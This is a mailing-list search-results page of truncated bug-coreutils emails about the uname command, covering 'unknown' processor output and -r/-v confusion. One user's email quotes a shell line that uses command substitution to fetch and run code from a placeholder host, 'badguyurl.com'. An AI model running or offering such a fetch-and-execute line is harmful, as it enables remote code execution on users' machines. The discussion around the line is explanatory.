On 4/9/24 2:21 PM, Pádraig Brady wrote:
Thanks for looking at this.
From the Fedora side, they dropped a Fedora specific patch for Fedora 38.
https://bugzilla.redhat.com/show_bug.cgi?id=548834
https://bugzilla.redhat.com/show_bug.cgi?id=2208048
FWIW: OpenSUSE still has that patch which was
On 09/04/2024 10:17, Collin Funk wrote:
On 4/9/24 12:57 AM, Paul Eggert wrote:
Indeed there is, and I merged your bug report into that old one. It'd be nice
if someone could get to the bottom of that bug.
I decided to look into this a bit, since I also have an unknown
'uname -i' and 'uname
On 4/9/24 12:57 AM, Paul Eggert wrote:
> Indeed there is, and I merged your bug report into that old one. It'd be nice
> if someone could get to the bottom of that bug.
I decided to look into this a bit, since I also have an unknown
'uname -i' and 'uname -p'.
It seems that this option is a
On 2024-04-08 10:59, Ondrej Mejzlik wrote:
The command uname returns "unknown" on Fedora 38,39 and probably 40.
There is a similar very old bug here which has not been fixed
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34905
Indeed there is, and I merged your bug report into that old one.
..}, AT_EMPTY_PATH) =
0
mmap(NULL, 54, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f64919a
close(3)= 0
openat(AT_FDCWD, "/usr/lib/locale/en_US.UTF-8/LC_CTYPE",
O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/
This is a bit weird, as the hw-platform, apparently is i386 or i686, not
sure,
but the cpu is definitely accessible in /proc/cpuinfo.
The following text is from the sysctl call in the
kernel help text for the option:
CONFIG_SYSCTL_SYSCALL:
sys_sysctl uses binary paths that have been found
tags 34905 moreinfo
retitle 34905 uname: -i/-p returns "unknown"
stop
On 2019-03-19 9:48 p.m., Paul Eggert wrote:
Wellington Almeida wrote:
When using the -p and -i functions in the uname command I noticed that
it returned an unknown result, can this be a bug?
It could be a bug in
Hey Shane,
I'm no bash/systems/coreutils expert, but I believe this behavior is
completely expected, independent of uname, and documented.
$(...) is the command substitution syntax and it will cause the command
inside the parens to be run, with the output used as input. Here's a
link to the
Hi, I am unsure if you have seen this, but I am concerned about this -
can or should uname be restricted to root use only?
uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"
2015-07-22 01:54:58 +0100, Pádraig Brady:
[...]
On 21/07/15 14:34, Paul Eggert wrote:
Thanks, that patch looks good, except for some nits. POSIX spells the
phrase
non-portable and we might as well be consistent. The --help lines would
look
better as:
-p, --processor
On 22/07/15 10:33, Stephane Chazelas wrote:
2015-07-22 01:54:58 +0100, Pádraig Brady:
[...]
On 21/07/15 14:34, Paul Eggert wrote:
Thanks, that patch looks good, except for some nits. POSIX spells the
phrase
non-portable and we might as well be consistent. The --help lines would
look
unarchive 13001
unarchive 15757
forcemerge 13001 15757 21098
close 13001
stop
On 21/07/15 14:34, Paul Eggert wrote:
Thanks, that patch looks good, except for some nits. POSIX spells the phrase
non-portable and we might as well be consistent. The --help lines would
look
better as:
On 20/07/15 22:16, Assaf Gordon wrote:
tag 21098 notabug
stop
Hello,
On 07/20/2015 03:26 PM, Norbert de Jonge wrote:
Maybe someone has time and energy to make some minor improvements to
uname's man page. The problem lies in the vagueness and similarity of
the options -m, -p and -i,
tag 21098 notabug
stop
Hello,
On 07/20/2015 03:26 PM, Norbert de Jonge wrote:
Maybe someone has time and energy to make some minor improvements to
uname's man page. The problem lies in the vagueness and similarity of
the options -m, -p and -i, combined with the program's unpredictable
output.
Maybe someone has time and energy to make some minor improvements to
uname's man page. The problem lies in the vagueness and similarity of
the options -m, -p and -i, combined with the program's unpredictable
output.
I think a good way to explain the problem is by giving an example.
My example
On 07/20/2015 09:26 PM, Norbert de Jonge wrote:
Maybe someone has time and energy to make some minor improvements to
uname's man page. The problem lies in the vagueness and similarity of
the options -m, -p and -i, combined with the program's unpredictable
output.
Thanks for the report.
Hi Team,
I have upgraded suse 11.1 to suse 11.3 but actual kernel name should be
kernel-default-3.0.101-0.47.52.1 but uname -r prints like below.
Could you please check and revert below.
sl01407:~ # rpm -qa ker*
kernel-default-base-3.0.101-0.47.52.1
kernel-firmware-20110923-0.52.3
tag 20827 notabug
close 20827
stop
On 16/06/15 11:03, K, Senthil Kumar wrote:
Hi Team,
I have upgraded suse 11.1 to suse 11.3 but actual kernel name should be
kernel-default-3.0.101-0.47.52.1 but uname –r prints like below.
Could you please check and revert below.
sl01407:~
Hi,
Man page of uname command states that uname options:
-r, --kernel-release print the kernel release
-v, --kernel-version print the kernel version
But I got the following result while using these options:
inlc7921 uname -r
2.6.16.60-0.58.1.3835.0.PTF.638363-smp
inlc7921 uname -v
#1
forcemerge 14388 16100
thanks
On 12/10/2013 02:54 AM, Vishwas Dhankhar wrote:
Hi,
Man page of uname command states that uname options:
-r, --kernel-release print the kernel release
-v, --kernel-version print the kernel version
But I got the following result while using these
Bob Proulx wrote:
$ uname -r
3.2.0-4-amd64
$ uname -v
#1 SMP Debian 3.2.35-2
---
I get something similiar the above, but that isn't the way
the kernel terminology -- despite the fact that use uname-r to search for the
kernel-version of modules
to use.
but 3=VERSION
2=PATCHLEVEL
Linda Walsh wrote:
Bob Proulx wrote:
$ uname -r
3.2.0-4-amd64
$ uname -v
#1 SMP Debian 3.2.35-2
From that -- it looks quite a bit like it describing version information.
On mine, I have
uname -r=3.9.0-Isht-Van
With Isht-Van being my localversion name
The uname-v has:
#6
Hi Team,
In uname command In feel that there is a bug with -r and -v
options which I describe as follows,
uname -r - it should show the release of kernel
uname -v - it should show the version of kernel as per your manual page,
but it is showing vice-versa of each.
Thanks Regards,
tag 14388 + moreinfo notabug
thanks
vevek venkatesan wrote:
In uname command In feel that there is a bug with -r and -v
options which I describe as follows,
uname -r - it should show the release of kernel
uname -v - it should show the version of kernel as per your manual page,
system
--help display this help and exit
--version output version information and exit
Report uname bugs to bug-coreutils@gnu.org
GNU coreutils home page: http://www.gnu.org/software/coreutils/
General help using GNU software: http://www.gnu.org/gethelp/
For complete documentation
On 01/26/2013 11:18 AM, Prashanth Devarajappa wrote:
it doesn't print -r ...
Here is the output for --help
...
-r, --kernel-release print the kernel release
Looks like -r is in there and you just missed it
so I'm marking this as done.
[re-adding the list]
On 02/05/2011 06:23 PM, Noel Kuntze wrote:
Look at 'man 2 uname'. On Linux, the uname.release version contains a
numeric string. The uname.version field is not documented as to it's
contents, but POSIX merely requires that release and version together
identify the
Hi,
It seems to me that the options for uname, more precise, -v and -r have
been interchanged.
Extract from the shell:
thermi@debian:~$ uname -v
#1 SMP Thu Jan 27 00:28:05 UTC 2011
thermi@debian:~$ uname -r
2.6.26-2-686
sincerely yours,
Noel Kuntze
Virus checked by G Data
On 02/05/2011 01:31 PM, Noel Kuntze wrote:
Hi,
It seems to me that the options for uname, more precise, -v and -r have
been interchanged.
Thanks for the report. However, this is not a bug.
Extract from the shell:
thermi@debian:~$ uname -v
#1 SMP Thu Jan 27 00:28:05 UTC 2011
Noel Kuntze wrote:
It seems to me that the options for uname, more precise, -v and -r have
been interchanged.
The uname program dates back to the days of yore before we had refined
networking to the mature state that it is now. It is really a
terrible interface. Although we often use 'uname
Hi,
When I type the command:
uname --version
it says illegal option -- version. Notice in the error message there
is a space between -- and version but in actual command its not. The
error message is different if I deliberately put a space between the two
and execute it.
I am using SunOS,
On 01/29/2011 03:25 PM, Karan Dhindsa wrote:
When I type the command:
uname --version
it says illegal option -- version.
Check your $PATH. I expect you're running the Solaris 'uname',
not coreutils 'uname'. On my Solaris 10 host:
$ /usr/bin/uname --version
/usr/bin/uname: illegal option
On Mon, 8 Dec 2008, Eric Blake wrote:
The information contained in this e-mail may be privileged and/or
Sending mail from an account that adds a disclaimer longer than the body
of your message is considered poor netiquette. This disclaimer is
unenforceable on a publicly archived mailing
the burden that comes of working for a
financial company.
Further sorry about the false alarm.
Walter
-Original Message-
From: Eric Blake [mailto:[EMAIL PROTECTED]
Sent: Monday, December 08, 2008 7:31 PM
To: Walter Coole
Cc: bug-coreutils@gnu.org
Subject: Re: Bug in uname
-BEGIN PGP
Good Morning:
Sir/Lady.
I am chinese user of RedHat 9. My kernel version is 2.4.20-8 on an i686.
Today I found a little bug of uname command. I read manual of uname. If I used
uname -v, the system will print the kernel version. But I found the system did
not print the kernel version
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
According to george_xuehui on 5/2/2006 2:20 AM:
Good Morning:
Sir/Lady.
I am chinese user of RedHat 9. My kernel version is 2.4.20-8 on an i686.
Today I found a little bug of uname command. I read manual of uname. If I
used uname -v
george_xuehui [EMAIL PROTECTED] writes:
If I used uname -v, the system will print the kernel version. But I
found the system did not print the kernel version but program
produced time.
Many systems, including mine, use a time stamp to denote the kernel
version. That's probably what happened
Alfred M. Szmidt wrote:
They are only non-portable across different operating systems (say
OpenBSD vs GNU). My point is that coreutils main goal is not to be
portable across various operating systems, if `uname -p' outputs
`unknown' on platforms that can't provide that info, then that is
If Hurd implements the interface to enable 'uname -p' then that
would certainly be a good thing in general. A win-win. But if it
does not then already at this time 'uname -p' is not really useful
to there.
But that isn't a good reason to make the option produce a error.
If you
While looking into this problem I noticed that Debian tried to disable
uname -p and -i, but they didn't do it quite right. For example:
$ /bin/uname -x
/bin/uname: invalid option -- x
Try `/bin/uname --help' for more information.
$ /bin/uname -p
Try `/bin/uname --help' for more
I like the fix. Though, changing the behaviour of `uname -a' just
cause some people have rebelled against it outputing `unknown' in some
places is quite silly; why not add such support to Linux and have it
output something useful!
Thanks Paul.
___
Paul Eggert [EMAIL PROTECTED] wrote:
2005-09-15 Paul Eggert [EMAIL PROTECTED]
* NEWS: uname -a no longer generates the -p and -i outputs if they
are unknown.
* doc/coreutils.texi (uname invocation): Document this.
* src/uname.c (usage): Document this.
(main):
Jim Meyering wrote:
Paul Eggert wrote:
2005-09-15 Paul Eggert [EMAIL PROTECTED]
* NEWS: uname -a no longer generates the -p and -i outputs if they
are unknown.
* doc/coreutils.texi (uname invocation): Document this.
* src/uname.c (usage): Document this.
(main):
Eric Blake [EMAIL PROTECTED] writes:
What about parsing /proc/cpuinfo, on machines that have that?
That's been discussed, but it sounds like a can of worms. The
information doesn't map all that well to the uname output, and my
admittedly uninformed feeling is that it is not that standard among
Paul Eggert wrote:
That's been discussed, but it sounds like a can of worms.
I have often thought it would be better if on machines that could not
reasonably support those extra uname options that the options be
disabled entirely. Then instead of unknown the program would report
it as an
That's been discussed, but it sounds like a can of worms.
I have often thought it would be better if on machines that could
not reasonably support those extra uname options that the options
be disabled entirely. Then instead of unknown the program would
report it as an invalid
That's been discussed, but it sounds like a can of worms.
I have often thought it would be better if on machines that could
not reasonably support those extra uname options that the options
be disabled entirely. Then instead of unknown the program would
report it as an
Alfred M. Szmidt wrote:
I have often thought it would be better if on machines that could
not reasonably support those extra uname options that the options
be disabled entirely. Then instead of unknown the program would
report it as an invalid option.
But that will break scripts
Since POSIX doesn't document -p or -i, they are already non-portable
options.
GNU Coreutils isn't POSIX Coreutils.
___
Bug-coreutils mailing list
Bug-coreutils@gnu.org
http://lists.gnu.org/mailman/listinfo/bug-coreutils
I have often thought it would be better if on machines that
could not reasonably support those extra uname options that
the options be disabled entirely. Then instead of unknown the
program would report it as an invalid option.
But that will break scripts like
Alfred M. Szmidt wrote:
I don't think it will break scripts because legacy operating
systems don't support those options either.
^^
If you consider GNU a legacy operating system, sure. Recall, GNU
coreutils is for GNU, not non-GNU systems.
I don't think it will break scripts because legacy operating
systems don't support those options either.
^^
If you consider GNU a legacy operating system, sure. Recall, GNU
coreutils is for GNU, not non-GNU systems.
Notice
Dear Sir,
There seems to be a possible bug in uname command on most versions of
the Linux system.
uname -p prints 'unknown' instead of the host processor name.
Please look into the matter.
Thanks and Regards,
Asif Iqbal Trumboo
___
Bug-coreutils
Asif Iqbal, Trumboo [EMAIL PROTECTED] writes:
There seems to be a possible bug in uname command on most versions of
the Linux system.
uname -p prints 'unknown' instead of the host processor name.
As I understand it, that is a deficiency in the Linux API rather than
a bug in coreutils proper
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
As I understand it, that is a deficiency in the Linux API rather than
a bug in coreutils proper: Linux doesn't support the relevant sysinfo
(Solaris-style) or sysctl (BSD-style) system calls. Perhaps you can
report the problem to the Linux
On Mon, 30 May 2005, Randy Forston wrote:
A fellow Ubuntu user on one of our lists ran uname -m on his AMD
motherboard/cpu combo and it returned i686.
Obviously, this is a k7 cpu.
Any chance the uname utility might be upgraded to appropriately label AMD
as well as Intel cpu's??
This string
Randy Forston wrote:
A fellow Ubuntu user on one of our lists ran uname -m on his AMD
motherboard/cpu combo and it returned i686.
Obviously, this is a k7 cpu.
Thanks for the report. But you are confusing the machine architecture
type with the cpu type. They are two different things. You
Dear Madam, Sir,
a while ago I installed the very useful coreutils on my iMac. However,
when I tried to upgrade my free software collection with fink it
refused. The reason turned out to be a bew uname from coreutils, which
did not recognize the processor:
[srikandi] [13:13] /sw%
Geert Jan van Oldenborgh [EMAIL PROTECTED] wrote:
a while ago I installed the very useful coreutils on my iMac. However,
when I tried to upgrade my free software collection with fink it
refused. The reason turned out to be a bew uname from coreutils, which
did not recognize the processor:
59 matches
Mail list logo
